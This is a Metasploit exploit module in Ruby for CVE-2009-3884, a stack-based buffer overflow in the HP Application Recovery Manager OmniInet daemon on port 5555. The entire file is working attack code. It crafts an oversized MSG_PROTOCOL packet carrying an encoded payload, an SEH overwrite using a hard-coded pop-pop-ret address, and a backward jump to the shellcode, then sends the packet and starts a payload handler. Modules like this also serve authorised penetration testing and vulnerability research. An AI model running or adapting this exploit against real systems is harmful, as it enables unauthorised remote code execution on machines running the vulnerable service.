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class Metasploit3 < Msf::Exploit::Remote
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,
'Name' => 'HP Application Recovery Manager (OmniInet.exe) Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in HP Application Recovery Manager OmniInet daemon.
By sending a specially crafted MSG_PROTOCOL packet, a remote attacker may be able to execute arbitrary code.
},
'Author' => 'EgiX <n0b0d13s[at]gmail.com>',
'References' =>
[
[ 'CVE', '2009-3884' ],
[ 'BID', '37250' ],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-091' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh',
},
'Payload' =>
{
'Space' => 4658,
'BadChars' => '\x00',
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows Universal', { 'Ret' => 0x004412ed } ], # OmniInet.exe pop ecx; pop ecx; ret
],
'DefaultTarget' => 0))
register_options([Opt::RPORT(5555)], self.class)
end
def exploit
connect
off = payload_space + 8
sep = "\x00\x00\x20\x00"
buff = "\x00\x00\x12\x67" # packet length
buff << "\xff\xfe\x32\x00\x36\x00\x37\x00" # MSG_PROTOCOL command
buff << sep + rand_text_alpha_upper(2)
buff << sep + rand_text_alpha_upper(2)
buff << sep + rand_text_alpha_upper(2)
buff << sep + rand_text_alpha_upper(2)
buff << sep + payload.encoded + generate_seh_record(target.ret)
# jump back to shellcode
buff << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + off.to_s).encode_string
buff << sep
print_status("Sending MSG_PROTOCOL packet")
sock.put(buff)
sleep(5)
handler
disconnect
end
end